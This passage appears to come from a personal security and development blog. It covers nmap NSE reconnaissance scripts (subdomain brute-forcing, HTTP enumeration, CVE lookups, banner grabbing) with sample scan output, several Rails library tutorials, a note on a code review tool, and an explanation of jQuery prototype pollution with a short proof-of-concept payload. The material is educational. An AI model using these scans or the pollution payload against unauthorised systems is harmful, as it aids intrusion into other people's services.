|       CVE-2006-4924           7.8             https://vulners.com/cve/CVE-2006-4924
|       CVE-2007-4752           7.5             https://vulners.com/cve/CVE-2007-4752
|       CVE-2010-4478           7.5             https://vulners.com/cve/CVE-2010-4478
|       CVE-2014-1692           7.5             https://vulners.com/cve/CVE-2014-1692
|       CVE-2009-2904           6.9             https://vulners.com/cve/CVE-2009-2904
|       CVE-2008-4109           5.0             https://vulners.com/cve/CVE-2008-4109
|       CVE-2007-2243           5.0             https://vulners.com/cve/CVE-2007-2243
|       CVE-2017-15906          5.0             https://vulners.com/cve/CVE-2017-15906
|       CVE-2006-5052           5.0             https://vulners.com/cve/CVE-2006-5052
|       CVE-2010-5107           5.0             https://vulners.com/cve/CVE-2010-5107
|       CVE-2010-4755           4.0             https://vulners.com/cve/CVE-2010-4755
|       CVE-2012-0814           3.5             https://vulners.com/cve/CVE-2012-0814
|       CVE-2011-5000           3.5             https://vulners.com/cve/CVE-2011-5000
|       CVE-2011-4327           2.1             https://vulners.com/cve/CVE-2011-4327
|_      CVE-2008-3259           1.2             https://vulners.com/cve/CVE-2008-3259

How to Install - vulscan
$ git clone https://github.com/scipag/vulscan

# for MacOS
$ ln -s `pwd`/vulscan /usr/local/share/nmap/scripts/vulscan

# for Linux
$ ln -s `pwd`/vulscan /usr/share/nmap/scripts/vulscan

How to Install - Vulners
$ wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse

# for MacOS
$ cp vulners.nse /usr/local/share/nmap/scripts/

# for Linux
$ cp vulners.nse /usr/share/nmap/scripts/
마지막으로 banner-plus.nse입니다. 오픈된 포트에서 어떤 서비스를 사용하는 지 배너그래빙하여 사용자에게 제공해줍니다.

nmap 자체에도 기본적인 배너그래빙 모듈, NSE 스크립트가 들어있지만 테스트 여러번 해봤을 떈 banner-plus가 가장 좋은 결과를 나타냈었습니다.


$ nmap 127.0.0.1 --script=banner-plus
Starting Nmap 7.70 ( https://nmap.org ) 
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0011s latency).
Not shown: 964 closed ports, 29 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
|_banner-plus: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2......
80/tcp   open  http
|_banner-plus: HTTP/1.0 200 OK\r\nLast-Modified: Tue, 09 Apr 2019 08:09:37 GMT\r\nContent-Type: text/html\r\nContent-Length: 2193\r\n\r\n<title>Plutotottoo</title>\n<script>function run()... 생략 ...
3000/tcp open  ppp
|_banner-plus: HTTP/1.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nX-Content-Type-Options: nosniff\r\nX-Download-Options: noopen\r\nX-Permitted-Cross-Domain-Policies: no... 생략 ...
3001/tcp open  nessus
3003/tcp open  cgms
4444/tcp open  krb524
5432/tcp open  postgresql
8081/tcp open  blackice-icecap
|_banner-plus: HTTP/1.1 502 Bad Gateway\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 1907\r\n\r\nZAP Error [java.net.UnknownHostException]: www\n\nStack Trace:\njava.net.UnknownHostException: www\n\tat java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184)\n\tat java.net.SocksSocketImpl.... 생략 ...

How to install?

$ wget https://raw.githubusercontent.com/hdm/scan-tools/master/nse/banner-plus.nse

# for MacOS
$ cp banner-plus.nse /usr/local/share/nmap/scripts/

# for Linux
$ cp banner-plus.nse /usr/share/nmap/scripts/
Share: | Coffee Me:

Four nmap NSE scripts for penetration testing.

Today, I write simple blog post to my go-to four nmap NSE scripts for penetration testing.
Maybe it’s something everyone knows, but I hope you have fun.

Let’s start!

https://neoslab.com/wp-content/uploads/2019/01/1547824695-b553a0774e0dd211928a2405738be22a-960x540.jpg

dns-brute.nse

First. Subdomain search script dns-brute.nse
this nse script is found subdomain with bruteforce.

$ nmap -p 80 --script dns-brute.nse hahwul.com
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for hahwul.com (183.111.174.31)
Host is up (0.0088s latency).


PORT   STATE SERVICE
80/tcp open  http


Host script results:
| dns-brute:
|   DNS Brute-force hostnames:
|     test.hahwul.com - 127.0.0.1
|     www.hahwul.com - 172.217.161.179
|     www.hahwul.com - 2404:6800:4005:80f:0:0:0:2013
|_    *A: 183.111.174.31

http-enum & http-title

This scripts in the http * series are very helpful in identifying http services, and banner

$ nmap --script http-enum 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00076s latency).
Not shown: 975 closed ports
PORT      STATE    SERVICE
32/tcp    filtered unknown
80/tcp    open     http
| http-enum:
|   /test/: Test page
|   /test.html: Test page
|   /robots.txt: Robots file
|_  /index/: Potentially interesting folder
801/tcp   filtered device
1037/tcp  filtered ams
1110/tcp  filtered nfsd-status
1122/tcp  filtered availant-mgr
1148/tcp  filtered elfiq-repl
1163/tcp  filtered sddp
1503/tcp  filtered imtc-mcs
1658/tcp  filtered sixnetudr
2170/tcp  filtered eyetv
3000/tcp  open     ppp
4005/tcp  filtered pxc-pin

Vulscan & vulners

Third, these scripts(vuldb,vulners) can identify known vulnerabilities. This NSE Scripts vulnerability information by querying vulnerability db sites.

There are the following pre-installed databases available at the moment:
$ nmap -sV --script=vulscan/vulscan.nse 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0036s latency).
Not shown: 501 filtered ports, 495 closed ports
PORT     STATE SERVICE              VERSION
80/tcp   open  http
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Last-Modified: Tue, 09 Apr 2019 08:09:37 GMT
|     Content-Type: text/html
|     Content-Length: 2193
…

5432/tcp open  postgresql           PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
|   SMBProgNeg:
|     SFATAL
|     VFATAL
|     C0A000
|     Munsupported frontend protocol 65363.19778: server supports 2.0 to 3.0
|     Fpostmaster.c
|     L2015
|_    RProcessStartupPacket
| vulscan: VulDB - https://vuldb.com:
| No findings
|
| MITRE CVE - https://cve.mitre.org:
| No findings
|
| SecurityFocus - https://www.securityfocus.com/bid/:
| No findings
|
| IBM X-Force - https://exchange.xforce.ibmcloud.com:
| No findings
|
| Exploit-DB - https://www.exploit-db.com:
| No findings
|
| OpenVAS (Nessus) - http://www.openvas.org:
| No findings
|
| SecurityTracker - https://www.securitytracker.com:
| No findings
|
| OSVDB - http://www.osvdb.org:
| No findings
|_

Vulners
22/tcp  open    ssh     OpenSSH 4.3 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:4.3:
|       CVE-2006-5051           9.3             https://vulners.com/cve/CVE-2006-5051
|       CVE-2006-4924           7.8             https://vulners.com/cve/CVE-2006-4924
|       CVE-2007-4752           7.5             https://vulners.com/cve/CVE-2007-4752
|       CVE-2010-4478           7.5             https://vulners.com/cve/CVE-2010-4478
|       CVE-2014-1692           7.5             https://vulners.com/cve/CVE-2014-1692
|       CVE-2009-2904           6.9             https://vulners.com/cve/CVE-2009-2904
|       CVE-2008-4109           5.0             https://vulners.com/cve/CVE-2008-4109
|       CVE-2007-2243           5.0             https://vulners.com/cve/CVE-2007-2243
|       CVE-2017-15906          5.0             https://vulners.com/cve/CVE-2017-15906
|       CVE-2006-5052           5.0             https://vulners.com/cve/CVE-2006-5052
|       CVE-2010-5107           5.0             https://vulners.com/cve/CVE-2010-5107
|       CVE-2010-4755           4.0             https://vulners.com/cve/CVE-2010-4755
|       CVE-2012-0814           3.5             https://vulners.com/cve/CVE-2012-0814
|       CVE-2011-5000           3.5             https://vulners.com/cve/CVE-2011-5000
|       CVE-2011-4327           2.1             https://vulners.com/cve/CVE-2011-4327
|_      CVE-2008-3259           1.2             https://vulners.com/cve/CVE-2008-3259

How to Install - vulscan
$ git clone https://github.com/scipag/vulscan

# for MacOS
$ ln -s `pwd`/vulscan /usr/local/share/nmap/scripts/vulscan

# for Linux
$ ln -s `pwd`/vulscan /usr/share/nmap/scripts/vulscan

How to Install - Vulners
$ wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse

# for MacOS
$ cp vulners.nse /usr/local/share/nmap/scripts/

# for Linux
$ cp vulners.nse /usr/share/nmap/scripts/
Finally, banner grabbing NSE script.
This script is more detail and better than the default banner grabbing script on nmap. If you look at the code, it is a way to test by connecting directly to a known port.

$ nmap 127.0.0.1 --script=banner-plus
Starting Nmap 7.70 ( https://nmap.org ) 
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0011s latency).
Not shown: 964 closed ports, 29 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
|_banner-plus: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2......
80/tcp   open  http
|_banner-plus: HTTP/1.0 200 OK\r\nLast-Modified: Tue, 09 Apr 2019 08:09:37 GMT\r\nContent-Type: text/html\r\nContent-Length: 2193\r\n\r\n<title>Plutotottoo</title>\n<script>function run()... 생략 ...
3000/tcp open  ppp
|_banner-plus: HTTP/1.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nX-Content-Type-Options: nosniff\r\nX-Download-Options: noopen\r\nX-Permitted-Cross-Domain-Policies: no... 생략 ...
3001/tcp open  nessus
3003/tcp open  cgms
4444/tcp open  krb524
5432/tcp open  postgresql
8081/tcp open  blackice-icecap
|_banner-plus: HTTP/1.1 502 Bad Gateway\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 1907\r\n\r\nZAP Error [java.net.UnknownHostException]: www\n\nStack Trace:\njava.net.UnknownHostException: www\n\tat java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184)\n\tat java.net.SocksSocketImpl.... 생략 ...

How to install?
$ wget https://raw.githubusercontent.com/hdm/scan-tools/master/nse/banner-plus.nse

# for MacOS
$ cp banner-plus.nse /usr/local/share/nmap/scripts/

# for Linux
$ cp banner-plus.nse /usr/share/nmap/scripts/
Share: | Coffee Me:

5/10/2019

Rails App 시작 시 특정 코드 실행하기(How to startup code on Ruby on Rails with initialize)

Rails 앱 구동 시 특정 작업이나 로직을 수행하고 싶을 때 어떻게 할까? 고민을 예전에 했었는데, 그때 initialize로 해결했던 기억이 있습니다. 간만에 동일한 고민을 잠깐하게 됬었는데, 겸사겸사 글로 정리해둡니다.

요약하자면 application.rb 에서 config.after_initialize로 Rails 실행 시 동작할 로직을 넣어줄 수 있습니다.

config/application.rb
config.after_initialize do
    # ....
end

그래서 코드를 작성하면 약간 이런 느낌이겠네요.

module YourApp
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 5.2


    # 앱 시작 시 실행되는 부분
    config.after_initialize do
      system('curl -i -k localhost:3000/zfdf')
      p 'init!!!'
    end


    # Settings in config/environments/* take precedence over those specified here.
    # Application configuration can go into files in config/initializers
    # -- all .rb files in that directory are automatically loaded after loading
    # the framework and any gems in your application.


    # Don't generate system test files.
    config.generators.system_tests = nil
  end
end

=>



다만 이대로 돌리게되면 rails 앱이 올라오기 전에 curl 요청이 발생합니다. 이유는 Rails 구동 프로세스 떄문에 그렇습니다. 코드 내 initialize는 Rails 전체에 대한 init이 아니라 environment initializer 같이 구동 앞단에만 동작하는 부분이라 after_initialize 라고 하여도 실제로 앱 구동 이후 시점이 아닙니다.

구조라고 표현하기도 애매하지만, 아무튼 서버 실행보다 앞단입니다.

그래서 약간 꼼수를 쓰면...

config.after_initialize do
  Thread.new do
    Rails.application.executor.wrap do
      system('sleep 5 ; curl -i -k localhost:3000/zfdf')
    end
  end
  #system('bundle exec crono')
  p 'init!!!'
end

이런식으로 쓰레드 처리하고 좀 기다렸다가 curl 날리면 정상 요청 가능합니다. 이걸로 crono 스케줄링을 돌리면 Rails 앱 시작 시 자동으로 시작될거라 생각했으나, 문제가 있었습니다. 바로 프로세스가 엄청 여러개가 실행되는거였는데 찾아보니 비슷한 사례가 있었네요.

Never start your process in Rails initialization files. It might start the process several times when there are few application workers on your server. Or it might start the process when you start the Rails console and so on.
https://stackoverflow.com/questions/38703514/ruby-on-rails-how-to-run-a-background-task-automatically-when-the-server-starts

이거에 대한 해결방법은 장기적인(?) 과제로 남겨두고 우선 개인프로젝트 진행하던건 마무리할까 합니다.
(이렇게라도 메모 안해두면 나중에 또 삽질하고 있겠죠…)

f*...

6 Initialization events

  • before_configuration : Rails :: Application에서 상속 받자 마자 실행됩니다.
  • before_initialize : 초기화 프로세스가 : bootstrap_hook을 사용하여 Rails 초기화 구간이 시작되기 직전에 바로 실행됩니다.
  • to_prepare : 모든 초기화 프로세스가 동작할때 마다 실행됩니다.
  • before_eager_load : eager loading이 발생하기 직전에 실행됩니다.
  • after_initialize : config / initializers 의 초기화 후 바로 실행됩니다.

Reference

https://guides.rubyonrails.org/configuring.html
https://stackoverflow.com/questions/8543904/how-to-run-my-ruby-code-after-rails-server-start
Share: | Coffee Me:

5/09/2019

Rails crono를 이용하여 스케줄링하기(Scheduling with crono on Rails)

보통 유닉스 기반 PC에선 스케줄링을 위해 crontab 또는 at를 사용하고, 윈도우에선 서비스에 등록하는식으로 사용합니다.
이를 위해선 시스템에서 crontab 같은 도구 사용이 가능해야하며, PaaS 이상의 추상화가 이루어진 플랫폼에선 사용하기 어려운 경우가 대다수입니다.

오늘은 Rails에서 crono를 이용해서 Application 단에서 스케줄링하는 방법에 대해 이야기할까 합니다.


crono - What is? How to Use?

crono는 루비 Gem으로 제공되는 스케줄링 관련 라이브러리입니다. 이름에서 느껴지듯이 crontab같은 느낌의 라이브러리이지요. 보통은 crontab을 직접 제어하는 경우가 많은데 crono의 경우는 자체적으로 스케줄링을 관리하고 처리하는 방식으로 동작합니다.

우선 젬 파일에 추가해주고 bundle install로 설치해줍시다.

Gemfile
gem 'crono'

설치가 완료되면 rails에서 crono를 사용할 수 있어집니다. 아래 명령으로 rails 앱에서 crono를 자동으로 세팅할 수 있습니다.

$ rails generate crono:install

명령을 수행하면 config/cronotab.rb 파일과 db 스키마 생성 파일까지 2개 파일이 생성됩니다.

Running via Spring preloader in process 64394
      create  config/cronotab.rb
      create  db/migrate/20190509001743_create_crono_jobs.rb

우선 원래 필수적인 작업은 아닌데, 특정 레일즈 버전에서 발생하는 에러가 있어서 아래 방식으로 변경해주시면 좋습니다. ActiveRecord 상속받을 떄 뒤에 버전정보 명시가 필요합니다.

Migrate 수정
class CreateCronoJobs < ActiveRecord::Migration[5.2] # 뒤에 버전정보 붙여줘야함
  def self.up
    create_table :crono_jobs do |t|
      t.string    :job_id, null: false
      t.text      :log, limit: 1073741823 # LONGTEXT for MySQL
      t.datetime  :last_performed_at
      t.boolean   :healthy
      t.timestamps null: false
    end
    add_index :crono_jobs, [:job_id], unique: true
  end


  def self.down
    drop_table :crono_jobs
  end
end

안할 시 ActiveRecord::Migration is not supported. 관련 에러 발생하며 해당 에러는 레일즈 공통 이슈입니다. 아래 링크 참고해주세요.
https://github.com/RolifyCommunity/rolify/issues/444

자 이제 rake로 디비 마이그레이션을 해줍시다.

rake db:migrate

그러면 기본적인 사용 준비는 모두 완료되었습니다.

In the Code

많이 쓰게될 것 같은 부분은 아까 위에서 생성된 crontab.rb에서 정의하거나 jobs에 별도로 정의하는 것이지 않을까 싶습니다.

config/crontab.rb
require 'rake'

Rails.app_class.load_tasks

class Test
  def perform
    #Rake::Task['crono:hello'].invoke
    p "abcd"
  end
end

Crono.perform(Test).every 5.seconds        # 5초마다 위의 Test 클래스의 perform 메소드 실행
Crono.perform(Cronjobb).every 5.seconds    # 5초마다 ActiveJob의 Cronjobb class의 perform 메소드 실행

Job이 될 class를 하나 만들어주시고 메소드로 perform을 만든 후 하위에 실제 처리할 로직을 넣어줍니다.
이후 Cfrono.perform(Class이름) 형태로 Job을 등록할 수 있으며 하위 메소드를 통해 주기나 기간, 반복 여부 등을 지정할 수 있습니다.

패턴 자체는 단순해서 딱 보시면 아 어떤식으로 넣는구나(suggest 보시면 더 확실해지죠) 싶고, 인자값으로 좀 더 특별한 로직 수행이 가능해집니다.

Crono.perform(TestJob).every 2.days, at: {hour: 15, min: 30}   # 2일에 한번씩, 15:30분에
Crono.perform(TestJob).every 1.week, on: :monday, at: "15:30"  # 1주일에 한번 월요일 15:30분에

등등 구현할 수 있는 방식은 많습니다. 그리고.. 만약 처리해야하는 Job에서 ActiveJob 사용이 필요하다면 jobs 로 만들어서 ActiveJob을 상속받아 사용하시면 됩니다.

jobs/cronjobb.rb (ActiveJob 사용하는 경우)
class Cronjobb < ActiveJob::Base
  def perform
    p "abcd"
  end
end

다 구현했으면 bundle 명령으로 구동이 가능합니다. 이때 Rails 서버는 Run중이여야 하고, 특이점으론 자동 시작을 위해서 Rails init 부분에 system() 등으로 넣어주면 동일한 요청이 엄청 생길 수 있기 때문에(재귀적으로 호출이 일어나죠….) 혹시나 저런 방식으로 사용하시더라도 정말 조심히 사용해야할 것 같습니다.

Run
$ bundle exec crono
실행하면 주기적으로 잘 반복되는걸 확인할 수 있습니다.

Output
$ bundle exec crono                      
I, [2019-05-09T22:01:37.122510 #7616]  INFO -- : Loading Crono 1.1.2
I, [2019-05-09T22:01:37.122576 #7616]  INFO -- : Running in ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-darwin16]
I, [2019-05-09T22:01:37.122594 #7616]  INFO -- : Jobs:
I, [2019-05-09T22:01:37.122766 #7616]  INFO -- : 'Test' with rule 'every 5 seconds' next time will perform at 2019-05-09 22:01:37 +0900
I, [2019-05-09T22:01:37.122835 #7616]  INFO -- : 'Cronjobb' with rule 'every 5 seconds' next time will perform at 2019-05-09 22:01:37 +0900
I, [2019-05-09T22:01:37.122921 #7616]  INFO -- : Perform Test
"abcd"
I, [2019-05-09T22:01:37.123211 #7616]  INFO -- : Finished Test in 0.00 seconds
I, [2019-05-09T22:01:37.123274 #7616]  INFO -- : Perform Cronjobb
"abcd"
I, [2019-05-09T22:01:37.127520 #7616]  INFO -- : Finished Cronjobb in 0.00 seconds
I, [2019-05-09T22:01:42.125759 #7616]  INFO -- : Perform Test
"abcd"
I, [2019-05-09T22:01:42.126101 #7616]  INFO -- : Perform Cronjobb
I, [2019-05-09T22:01:42.126212 #7616]  INFO -- : Finished Test in 0.00 seconds
"abcd"
Share: | Coffee Me:

5/08/2019

Rails에서 kaminari를 이용하여 Pagination 구현하기(How to make pagination on rails(with kaminari)

Rails에서 페이지(Pagination)를 쉽게 구현할 수 있는 라이브러리는 kaminari, will_paginate 등이 있습니다. 그중에서 오늘은 kaminari를 가지고 페이지를 만드는 내용으로 글 작성해봅니다.

A Scope & Engine based, clean, powerful, customizable and sophisticated paginator for Ruby webapps

Install & Gemfile

우선 Rails 앱의 Gemfile에 kaminari 를 추가해줍니다.

Gemfile
gem 'kaminari'
$ bundle install

추가 시점 이후부터, 기존에 있던 모델, 신규 생성한 모델에 page라는 메소드가 생깁니다. 이 메소드는 해당 모델 데이터를 페이지화하고, 관련 기능을 쓸 수 있도록 제공해줍니다.

User.count                     #=> 1000
User.page(1).limit_value       #=> 20
User.page(1).total_pages       #=> 50
User.page(1).current_page      #=> 1
User.page(1).next_page         #=> 2
User.page(2).prev_page         #=> 1
User.page(1).first_page?       #=> true
User.page(50).last_page?       #=> true
User.page(100).out_of_range?   #=> true

제 케이스로 보면… 우선 컨트롤러에 이런식으로 page()로 현재 페이지 위치를 표현해주도록 구성해준 후 ..

Controller
def index
  # @scans = Scan.all
  @scans = Scan.page(params[:page])
end

뷰에서 paginate 통해 페이지 뷰를 만들어줍니다.

view (index)
<%= page_entries_info @scans %>
# 현재 page에 대한 정보


<%= paginate @scans %>
# 페이지 네비게이터
# 기본적으로 25개 기준으로 적용됨

요렇게까지 하고 Rails app에서 보면 페이지 기능이 생성된걸 볼 수 있습니다.
(이걸 직접 만들면 개고생)


Custom Setting

kaminari 설정에 대해 직접 재정의하여 사용할 수도 있습니다. 우선 kaminari에 정의된 config를 생성해줍니다.

rails g kaminari:config

그다음 config > init 하위에 kaminari 설정 데이터가 들어가는데, 여기서 한번에 몇개의 리스트를 보여줄지, 최대 얼만큼할지 등등 지정할 수 있습니다.

config/initializers/kaminari_config.rb
Kaminari.configure do |config|
  default_per_page      # 25 by default
  max_per_page          # nil by default
  max_pages             # nil by default
  window                # 4 by default
  outer_window          # 0 by default
  left                  # 0 by default
  right                 # 0 by default
  page_method_name      # :page by default
  param_name            # :page by default
  params_on_first_page  # false by default
end

Supported

  • Ruby 2.0.0, 2.1.x, 2.2.x, 2.3.x, 2.4.x, 2.5.x, 2.6.x, 2.7
  • Rails 4.1, 4.2, 5.0, 5.1, 5.2, 6.0
  • Sinatra 1.4, 2.0
  • Haml 3+
  • Mongoid 3+
  • MongoMapper 0.9+
  • DataMapper 1.1.0+

Reference

https://github.com/kaminari/kaminari
Share: | Coffee Me:

Rails에서 SuckerPunch를 이용한 비동기 Thread 처리(single-process Ruby asynchronous processing library)

Rails 구동중에 쓰레드 처리 시 아래처럼 원래 루비 구문인 Thread로 처리할 수 있습니다.

Thread.new do
  Rails.application.executor.wrap do
    system('ping -c 5 127.0.0.1')
    result = Net::HTTP.get(URI.parse("http://127.0.0.1:3000/zfd"))
    puts result
  end
end

다만 이런 쓰레드에 대한 관리를 매번 해줘야한다는 것과 공통적으로 사용되는 쓰레드를 구현하기 위해선 조금 번거로운 부분들이 있습니다. 오늘 이야기드릴 라이브러리는 레일즈에서 쓰레드 사용을 위한 그런 라이브러리입니다.

suckerpunch 입니다.

I am HIT-Library? zz

What is? & How to use

SuckerPunch는 위에서 이야기드린대로 쓰레드 관련 라이브러리이고, 정확히는 단일 Ruby 프로세스에서의 비동기 처리 라이브러리입니다. 단일 어플리케이션 내부에서 Jobs을 생성하고 관리할 수 있기 때문에 Heroku같은 PaaS 환경에서 메모리나 비용적으로 효율적으로 사용할 수 있습니다.

다만 단일 프로세스 위에서 동작하기 때문에 모체가 되는 프로세스가 재시작되면 당연히 초기화됩니다.

https://github.com/brandonhilkert/sucker_punch

해당 라이브러리는 gem 패키지로 gem install 명령또는 Gemfile 이후 bundle install로 설치할 수 있습니다.

Install with gem
gem install suckerpunch

Gemfile
gem 'sucker_punch', '~> 2.0'

설치 후 앱 내부에선 SuckerPunch를 Include로 모듈을 로드하여 구현해주시면 됩니다. 제가 재미삼아 만드는 앱인데, 대략 코드를 보면 이렇습니다. (Rails에요)

controller
def action
  @log = Log.new(log_params)
  url = log_params["host"]
  hwulTest.new.scan_spider(url, @log)
  # 아래 hwulTest class에서 객체를 생성하고 멤버함수를 실행합니다.
end

# ... 생략 ...

class hwulTest
  include SuckerPunch::Job
  # SuckerPunch => Job 모듈을 가져옵니다.

  def scan_spider(url, obj)
    ActiveRecord::Base.connection_pool.with_connection do
      payload = "http://127.0.0.1:8081/JSON/~~~blahblah"
      res = HTTP.get(payload).body
      res = ActiveSupport::JSON.decode(res)

      p res["scan"]
      data = obj
      data.update(state:true) 
      data.update(data: res["scan"].to_i)
    end
  end
end

이렇게 했을 때 해당 컨트롤러에서 action 이 호출됬을 때 레일즈 메인 로직은 원하는 구문 처리 후 정상적으로 결과를 리턴해주고, hwulTest로 정의한 기능은 비동기로 백그라운드 처리됩니다.

일해라 job들아!

Built-In

찾다보니 빌트인도 가능했었네요..

Rails
rails g sucker_punch:job logger

Sinatra
# app.rb require ‘sucker_punch'
require 'sinatra'

Optional

추가적으로 볼만한 옵션은 worker, 와 jabs에 대한 정의입니다.
workers를 지정해주어 처리하는 worker를 조절할 수 있습니다. 디폴트 값으로는 2로 되어있습니다.

class LogJob
  include SuckerPunch::Job
  workers 4

  def perform(event)
    Log.new(event).track
  end
end
jobs 갯수도 제한할 수 있습니다.
class LogJob
  include SuckerPunch::Job
  max_jobs 10

  def perform(event)
    Log.new(event).track
  end
end
Share: | Coffee Me:

5/07/2019

AutoSource - Automated Source Code Review Framework Integrated With SonarQube

kitploit 보다가 소스코드 분석 도구 관련 내용(https://www.kitploit.com/2019/05/autosource-automated-source-code-review.html) 있어서 깃들어가서 좀 찾아봣습니다.

음 .. 솔직히 리뷰할 정도의 도구는 아닌데 보다보니 소나큐브 관련해서 이야기도 할겸 글로 작성해봅니다.
(쓸만한 소재가 없음…)

What is autoSource?

https://github.com/Securityautomation/autoSource
AutoSource is an automated source code review framework integrated with SonarQube which is capable of performing static code analysis/reviews. It can be used for effectively finding the vulnerabilities at very early stage of the SDLC(Software Development Life Cycle). The user can scan the code by just giving GIT repository link into the framework.

AutoSource framework is capable of performing source code review on all platforms(MAC, Linux and Windows).
라고 하는데, 요약하면 git 링크를 입력으로 주고, sonarqube 돌려서 결과를 주는 도구입니다.
동작은 subprocess로 sonarqube 쉘 스크립트를 실행하는 형태로 작성한 것 같습니다.
def runSonarQubeMac():
    subprocess.call("chmod -R 777 sonarQube", shell=True)
    subprocess.call("./sonarQube/bin/macosx-universal-64/sonar.sh console", shell=True)
    time.sleep(8)    

# ************************************************************************************    
# Function to run Elastic Search Linux
def runElasticSearchLinux():
    subprocess.call("chmod -R 777 sonarQube",shell=True)
    subprocess.call("./sonarQube/elasticsearch/bin/elasticsearch", shell=True)
    time.sleep(8)

Sonar Qube?

소나큐브(https://www.sonarqube.org/).. 엄청 유명한 오픈소스 프레임워크입니다. 정적 코드 분석을 해주는 도구로 소스코드 내 내포된 취약점이나 위험한 코드등을 분석해주는데, 보통 단독으로 사용하거나 배포시스템(jenkins 등)에 붙여서 사용하는 것 같습니다.
물론 저도 테스트 삼아서 몇번 써본게 전부입니다. 일적으로는 상용이 있으니 약간 보조적인 느낌으로만 썼던 것 같네요.
(그마저도 거의 없..)

아무튼 이런 구조입니다. 스캐너 통해서 분석된 결과를 서버로 올리고 웹서버+ES+RDBMS로 데이터를 누적하고 보여주는 형태로 동작하며 그래도 오픈소스 도구 중에선 좋은 결과를 준다고 생각드네요. (취약점 분석 입장에선 RIPS가 많이 성장한 이상… 최고라고 하기엔 좀 그렇군요.)

https://docs.sonarqube.org/latest/images/architecture-scanning.png

Conclusion

보통 화이트박스 테스트 즉, 소스코드가 있는 경우에 사용되는 도구인데, 디컴파일된 코드에서 동작 가능할지도 좀 궁긍하긴하네요. 만약 어느정도 된다면 apk 파일 디컴파일하고 돌려주는 시스템? 같은거 하나 만들어도 재미있을듯 싶네요 :)
Share: | Coffee Me:

5/02/2019

jQeury prototype pollution(CVE-2019-11358)


let myObj = {} 
myObj['__proto__']['a'] = 'a’ 
console.log(myObj.a) 

let newObj = {} 
console.log(newObj.a)

[ Result ]
a
a

자 과연 이 코드는 정상적인걸까요? myObj, newObj는 다른데 어떻게 같은 값을 가질 수 있지? 란 의문이 드실 수 있습니다.

물론 이 코드는 정상입니다. 바로 js에서 지원하는 prototype 때문인데요. 최근 이를 활용한 보안 취약점이 다시 재조명되고 있어서 글로 작성해봅니다.

Jquery prototype pollution입니다.


prototype

자바스크립트의 프로토타입은 보통 함수 원형이라고 이야기합니다. 단순히 생각해보자면, 오브젝트의 원형이 되는 오브젝트, 즉 클래스 상속으로 생각하면 부모 클래스 같은 개념이겠네요. 아무튼 자바스크립트에서 오브젝트를 생성하고 사용할 때 나타나는 대표적인 친구들이

__proto__ : 해당 오브젝트의 원형이 된 것(부모)
constructor : 생성자
prototype : 해당 오브젝트를 원형으로 만들어진 것들(자식)

인데요, 대략 정도로 이해하면 어떨까 싶네요. 자세한건 mdn 문서 고고

구글 광고 오브젝트로 보면 __proto__ 즉 부모 오브젝트의 정보가 나타납니다. (그냥 Object 자체)

Jqeury $.extend()

Jquery에서 extend()는 여러 오브젝트를 하나로 합쳐주는 함수입니다.
https://api.jquery.com/jquery.extend/

딱 여기까지만 알고가면 됩니다.

Vulnerable point

let myObj = {} 
myObj['__proto__']['a'] = 'a’ 
// myObj의 prototype(__proto__) 의 a에 a를 넣습니다.

console.log(myObj.a) 

let newObj = {} 
// 이후 newObj라는 Object를 만들었는데, 
// log를 보시면 a가 찍힙니다. 곧 prototype으로 인해 전역 설정되었단거죠.

console.log(newObj.a)

물론 개발 관점에선 별로 특이한게 없어보입니다. 결국은 myObj의 프로토타입인 부모(원형)을 따라가면, Object 자체를 의미하게 되는데, 그 원형 Object의 a에 a를 넣은겁니다.

그럼 아래 코드를 봐볼까요.

let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))

extend는 객체를 합쳐주는 함수입니다. 맨앞 인자값이 true니 recursively 즉 2인자값 => 1인자값으로 병합하게 되고
(by passing true for the first function argument, objects will be recursively merged.)
JSON.parse 한 값과 () 즉 Object 원형과 결합하게 됩니다. 결국은 Object 원형의 proto에 값을 쓰게되고 코드에선 devMode 란 값에 ture를 넣었습니다. 이후에 생성하거나 사용하는 Object는 devMode 값이 true 인채로 동작하게 됩니다.

자 그럼 왜 위험할까요?

우선 Js단 삽입이 가능한 케이스(XSS 등)의 경우엔 자바스크립트단 앱에서 사용하는 객체의 중요 값들을 바꿔서 동작시킬 수 있다는 점입니다. 물론 스크립트가 들어갔따면 꼭 이런 경우가 아니여도 동일한 문제가 있겠지요. 실제로 문제가 됬던 부분은 nodejs 같이 서버사이드에서 동작하는 언어입니다. node는 js와 동일한 문법, 구현형태를 사용하기 떄문에 동일하게 프로토타입과 위에 있던 문제점들을 가지고 있습니다. 다만 동작 위치가 서버사이드이기 떄문에 저런 코드로 입력된 값이 미치게될 영향의 포인트는 클라이언트 사이드만이 아니라 서버사이드까지 포함되어서 이펙트가 좀 있습니다.

snyk에 올라온 취약점에도 결국 3가지 방식으로 영향이 있었습니다.
https://snyk.io/vuln/SNYK-JS-JQUERY-174006

1. Denial of service (DoS)
This is the most likely attack. 
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example,  toString and valueOf). 
